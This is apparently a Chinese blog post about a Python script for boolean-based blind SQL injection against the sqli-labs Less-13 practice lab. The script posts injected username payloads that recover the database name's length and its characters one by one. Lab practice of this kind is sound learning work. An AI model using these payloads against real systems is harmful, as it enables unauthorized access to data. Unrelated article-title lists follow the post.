代码思路

1.主要还是参考了别人的代码,确实自己写的和别人写的出路很大,主要归咎还是自己代码能力待提高吧。

2.将功能集合成一个函数,然后通过*args这个小技巧去调用。函数的参数不是argv的值,但是*argv的是。也就是如下:

  

3.还有就是利用了format,因为是POST所有不好直接设置,但是通过format效果就好得多。

 #!/usr/bin/env python
#encoding:utf-8
#by i3ekr import requests
url = "http://127.0.0.1/Less-13/?id=1"
database_length_payload = "abc' ) or length((select database()))={0} #"
database_name_payload = "xxxxxxxxx')or(select substr((select database()),{0},1))='{1}' # &passwd=1"
database_length = 0
database_name = ""
def get_value(payload,value,*args):
if len(args) == 0:
payload = payload.format(value)
data = {"uname":payload,"passwd":""}
else:
payload = payload.format(value,args[0])
data = {"uname":payload,"passwd":""} print "[*] payload:%s"%(data)
html = requests.post(url,data=data)
if "flag.jpg" in html.text:
return True
else:
return False for i in range(100):
if(get_value(database_length_payload,i)):
database_length =+ i
break for n in range(1,database_length+1):
for s in "qwertyuiopasdfghjklzxcvbnm":
if(get_value(database_name_payload,n,s)):
database_name +=s
break print database_name
print database_length

最新文章

  1. JavaScript学习10 JS数据类型、强制类型转换和对象属性
  2. BizTalk动手实验(十四)AS2传输非EDI消息
  3. opencl gauss filter优化(二)
  4. fdquery update
  5. jquery表格伸展
  6. 深入Delphi -- Windows 消息机制
  7. VS操作Sqlite数据库
  8. android 获取前台进程
  9. C++: std::string 与 Unicode 如何结合?
  10. Java IntelliJ IDEA 不能显示项目里的文件结构解决办法
  11. Unix/Linux笔记全集
  12. vue学习笔记-one
  13. C语言第零次作业总结
  14. Oracle数据安全解决方案(1)——透明数据加密TDE
  15. python ---split()函数讲解
  16. python中的字典
  17. Linux中常用目录作用
  18. CF767C Garland--树形dp
  19. mybatis拦截器处理
  20. MyBatis 手动映射结果集

热门文章

  1. 优先队列实现 大小根堆 解决top k 问题
  2. 【题解】SDOI2017树点涂色
  3. SAPI 包含sphelper.h编译错误解决方案
  4. Nginx的配置文件简介及在Nginx中配置基于不同ip的虚拟主机
  5. Codeforces Round #345 (Div. 2) B
  6. Codeforces Round #343 (Div. 2) B
  7. Codeforces Round #340 (Div. 2) A
  8. idea一些文件如.xml 文件搜索不到的解决方法
  9. iptables使用总结
  10. 【题解】最大公约数之和 V3 51nod 1237 杜教筛